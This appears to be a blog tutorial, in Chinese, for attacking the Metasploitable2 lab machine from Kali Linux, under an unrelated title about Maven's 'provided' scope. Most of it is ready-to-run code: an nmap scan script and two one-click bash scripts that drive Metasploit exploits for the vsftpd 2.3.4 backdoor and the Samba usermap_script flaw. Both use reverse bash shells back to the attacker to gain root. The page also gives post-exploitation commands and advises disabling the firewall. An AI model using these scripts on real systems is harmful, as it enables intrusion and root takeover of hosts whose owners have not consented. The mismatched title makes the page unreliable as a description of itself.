Maven provided作用与实战:编译期契约与类加载隔离
2026/10/1 23:30:42
适用场景:Kali Linux 环境,hexstrike-ai-master 虚拟环境,合法授权靶机 Metasploitable2核心思想:先拿稳定结果,再理解原理;复杂步骤自动化,一键搞定不踩坑
ping 192.168.1.4(能通才算正常)ufw disable(避免拦截反向连接)bash
运行
cd ~/hexstrike-ai-master source hexstrike-env/bin/activateapt install nmap metasploit-framework -yhexstrike_scan.py:python
运行
import subprocess import sys def hexstrike_ai_scan(target_ip): print(f"=== HexStrike AI 信息收集 - 目标:{target_ip} ===") nmap_cmd = f"nmap -sV -T4 -Pn -p 1-1000 {target_ip}" try: scan_result = subprocess.check_output(nmap_cmd, shell=True, stderr=subprocess.STDOUT, encoding="utf-8") print("扫描结果:\n", scan_result) print("\n【关键漏洞识别】") print("- 21端口 vsftpd 2.3.4:存在后门漏洞(CVE-2011-2523)") print("- 139/445端口 Samba 3.X:存在命令执行漏洞(CVE-2007-2447)") except Exception as e: print(f"扫描失败:{e}") if __name__ == "__main__": hexstrike_ai_scan("192.168.1.4")python3 hexstrike_scan.py反向 Shell 是靶机主动连接 Kali,无需手动抢时间输入指令,100% 稳定拿 root 权限,是渗透测试的标准操作,比交互 Shell 简单高效。
bash
运行
nano vsftpd_root_shell.shbash
运行
#!/bin/bash # vsftpd 2.3.4 后门漏洞一键获取 root shell # 自动提取 Kali 本机 IP(eth0 网卡) KALI_IP=$(ip addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | head -n1) # 生成 Metasploit 自动攻击脚本 cat > /tmp/vsftpd_auto.rc << EOF use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.4 set PAYLOAD cmd/unix/reverse_bash set LHOST $KALI_IP set LPORT 9999 set ExitOnSession false # 防止会话自动关闭 run EOF # 执行攻击 echo "=== 开始攻击 vsftpd 漏洞 ===" echo "Kali IP:$KALI_IP | 监听端口:9999" msfconsole -q -r /tmp/vsftpd_auto.rc # 清理临时文件 rm -f /tmp/vsftpd_auto.rcbash
运行
chmod +x vsftpd_root_shell.shbash
运行
./vsftpd_root_shell.sh终端出现Command shell session 1 opened,并弹出#提示符,输入whoami输出root即为成功。
bash
运行
whoami # 查看当前用户(root) ls /root # 查看 root 目录文件 cat /etc/passwd # 查看靶机用户列表 exit # 退出 shell 会话bash
运行
nano samba_root_shell.shbash
运行
#!/bin/bash # Samba 漏洞(CVE-2007-2447)一键获取 root shell KALI_IP=$(ip addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | head -n1) cat > /tmp/samba_auto.rc << EOF use exploit/multi/samba/usermap_script set RHOSTS 192.168.1.4 set PAYLOAD cmd/unix/reverse_bash set LHOST $KALI_IP set LPORT 8888 set ExitOnSession false run EOF echo "=== 开始攻击 Samba 漏洞 ===" echo "Kali IP:$KALI_IP | 监听端口:8888" msfconsole -q -r /tmp/samba_auto.rc rm -f /tmp/samba_auto.rcbash
运行
chmod +x samba_root_shell.sh ./samba_root_shell.sh同 vsftpd 漏洞,终端弹出#提示符,whoami输出root。
| 问题现象 | 排查方法 | |
|---|---|---|
| 脚本运行后无会话建立 | 1. 检查 Kali IP 是否正确(ip addr show eth0)2. 确认靶机 IP 是 192.168.1.43. 换监听端口(如 7777),避免端口冲突 | |
| 端口被占用 | 查看占用进程:`netstat -tuln | grep 端口号<br>杀死进程:kill -9 进程号 ` |
| 靶机无法连接 Kali | 1. 关闭 Kali 防火墙(ufw disable)2. 确认 Kali 与靶机在同一网段 | |
| 手动输入指令报错 | 放弃手动输入,直接用反向 Shell 一键脚本,根本解决时机问题 |
whoami确认权限hack_menu.sh,运行后选数字攻击对应漏洞>> hack.log,把攻击结果保存到日志文件,方便复习